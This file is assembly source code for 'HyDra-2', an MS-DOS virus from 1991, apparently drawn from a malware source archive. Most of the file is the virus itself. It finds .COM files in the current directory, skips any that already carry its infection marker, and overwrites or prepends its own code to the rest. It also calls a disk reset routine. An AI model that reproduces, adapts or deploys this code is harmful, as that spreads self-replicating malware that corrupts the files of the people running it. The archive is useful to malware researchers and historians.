MalwareSourceCode/MSDOS/H-Index/Virus.MSDOS.Unknown.hydra2.asm

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2022-08-21 09:07:57 +00:00
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;<3B><> <20><>
;<3B><> HYDRA2 <20><>
;<3B><> <20><>
;<3B><> Created: 27-Aug-91 <20><>
;<3B><> Passes: 5 Analysis Options on: AW <20><>
;<3B><> Copyright (c) <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 100h
data_2e equ 235h
data_3e equ 257h
data_4e equ 522h
psp_cmd_size equ 80h
data_15e equ 157h
data_16e equ 15Ah
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
hydra2 proc far
start:
jmp loc_1
pop cx
inc sp
add [bx+si],al
data_7 db 'HyDra-2 Beta - Not For Release'
db '. *.CO?'
db 0
data_10 dw 0, 8B39h
data_12 dw 0
data_13 db 0
db 29 dup (0)
data_14 db 0
db 13 dup (0)
copyright db 'Copyright (c)'
db ' 1991 by C.A.V.E. '
loc_1:
push ax
mov ax,cs
add ax,1000h
xor di,di ; Zero register
mov cx,157h
mov si,100h
mov es,ax
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,1Ah
mov dx,offset data_13
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov ah,4Eh ; 'N'
mov dx,offset data_7+22h ; ('*')
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_5 ; Jump if carry Set
loc_2:
mov ah,3Dh ; '='
mov al,2
mov dx,offset data_14
mov al,2
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
push es
pop ds
mov ax,3F00h
mov cx,0FFFFh
mov dx,data_15e
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
add ax,157h
mov cs:data_12,ax
cmp word ptr ds:data_16e,4459h
jne loc_3 ; Jump if not equal
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_6 ; Jump if carry Set
jmp short loc_2
loc_3:
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_4 ; Jump if carry Set
mov ah,40h ; '@'
xor dx,dx ; Zero register
mov cx,cs:data_12
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_4:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_5:
mov ah,1Ah
mov dx,psp_cmd_size
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
jmp short loc_7
nop
loc_6:
push dx
xor ax,ax ; Zero register
xor ax,ax ; Zero register
mov ds,ax
mov bx,data_4e
mov ah,0FFh
mov [bx],ah
xor ax,ax ; Zero register
int 13h ; Disk dl=drive 0 ah=func 00h
; reset disk, al=return status
mov ax,0
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
loc_7:
xor di,di ; Zero register
mov si,data_2e
mov cx,22h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop bx
mov cs:data_10,0
mov word ptr cs:data_10+2,es
pop bx
jmp dword ptr cs:data_10
push ds
pop es
mov cx,0FFFFh
mov si,data_3e
mov di,data_1e
sub cx,si
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov word ptr cs:[100h],100h
mov word ptr cs:[102h],ds
mov ax,bx
jmp dword ptr cs:[100h]
int 20h ; DOS program terminate
hydra2 endp
seg_a ends
end start